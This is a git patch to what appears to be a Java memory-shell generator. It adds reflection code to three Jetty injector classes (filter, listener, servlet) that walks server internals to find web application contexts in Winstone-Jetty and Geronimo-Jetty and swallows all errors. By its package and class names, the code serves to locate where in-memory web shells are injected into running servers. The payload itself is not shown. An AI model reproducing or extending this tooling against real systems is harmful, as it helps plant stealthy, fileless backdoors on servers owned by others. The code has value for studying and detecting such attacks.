From 4d04aed4fb0a8b69a39c697adefd42637d1207e6 Mon Sep 17 00:00:00 2001 From: su18 Date: Fri, 12 Jun 2026 11:47:43 +0800 Subject: [PATCH] feat(jetty): add Winstone-Jetty and Geronimo-Jetty context discovery support --- .../injector/jetty/JettyFilterInjector.java | 28 +++++++++++++++++++ .../injector/jetty/JettyListenerInjector.java | 28 +++++++++++++++++++ .../injector/jetty/JettyServletInjector.java | 28 +++++++++++++++++++ 3 files changed, 84 insertions(+) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 569168ac..8bf4f874 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -171,6 +171,34 @@ public class JettyFilterInjector { } } catch (Exception ignored) { } + + // Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps + try { + Object target = getFieldValue(thread, "target"); + if (target != null && target.getClass().getName().contains("winstone.Launcher")) { + java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + java.util.Iterator _it3 = hostConfigs.values().iterator(); + while (_it3.hasNext()) { + java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + contexts.addAll(apps.values()); + } + } + } catch (Throwable ignored) { + } + + // Geronimo-Jetty + try { + java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); + java.util.Iterator _it2 = map.keySet().iterator(); + while (_it2.hasNext()) { + Object object = _it2.next(); + if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { + contexts.add(getFieldValue(object, "webAppContext")); + } + } + } catch (Throwable ignored) { + } + } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 014469f2..49694a14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -101,6 +101,34 @@ public class JettyListenerInjector { } } catch (Exception ignored) { } + + // Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps + try { + Object target = getFieldValue(thread, "target"); + if (target != null && target.getClass().getName().contains("winstone.Launcher")) { + java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + java.util.Iterator _it3 = hostConfigs.values().iterator(); + while (_it3.hasNext()) { + java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + contexts.addAll(apps.values()); + } + } + } catch (Throwable ignored) { + } + + // Geronimo-Jetty + try { + java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); + java.util.Iterator _it2 = map.keySet().iterator(); + while (_it2.hasNext()) { + Object object = _it2.next(); + if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { + contexts.add(getFieldValue(object, "webAppContext")); + } + } + } catch (Throwable ignored) { + } + } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index dbfcf022..72c657d3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -109,6 +109,34 @@ public class JettyServletInjector { } } catch (Exception ignored) { } + + // Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps + try { + Object target = getFieldValue(thread, "target"); + if (target != null && target.getClass().getName().contains("winstone.Launcher")) { + java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + java.util.Iterator _it3 = hostConfigs.values().iterator(); + while (_it3.hasNext()) { + java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + contexts.addAll(apps.values()); + } + } + } catch (Throwable ignored) { + } + + // Geronimo-Jetty + try { + java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); + java.util.Iterator _it2 = map.keySet().iterator(); + while (_it2.hasNext()) { + Object object = _it2.next(); + if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { + contexts.add(getFieldValue(object, "webAppContext")); + } + } + } catch (Throwable ignored) { + } + } return contexts; }